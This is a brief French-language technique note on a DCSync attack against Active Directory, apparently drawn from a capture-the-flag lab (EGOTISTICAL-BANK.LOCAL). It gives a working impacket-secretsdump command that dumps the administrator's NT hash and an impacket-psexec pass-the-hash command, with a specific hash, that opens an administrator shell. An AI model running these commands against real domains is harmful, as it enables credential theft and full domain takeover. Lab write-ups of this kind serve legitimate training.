DCSync - Technique - - Active Directory Exploitation

Utilisation de secretsdump pour obtenir le hash NT de l'utilisateur administrateur.

impacket-secretsdump EGOTISTICAL-BANK.LOCAL/[email protected]

Utilisation de psexec pour exécuter une cmd en tant qu'administrateur en utilisant le hash NT.

impacket-psexec EGOTISTICAL-BANK.LOCAL/[email protected] cmd.exe -hashes :823452073d75b9d1cf70ebdf86c7f98e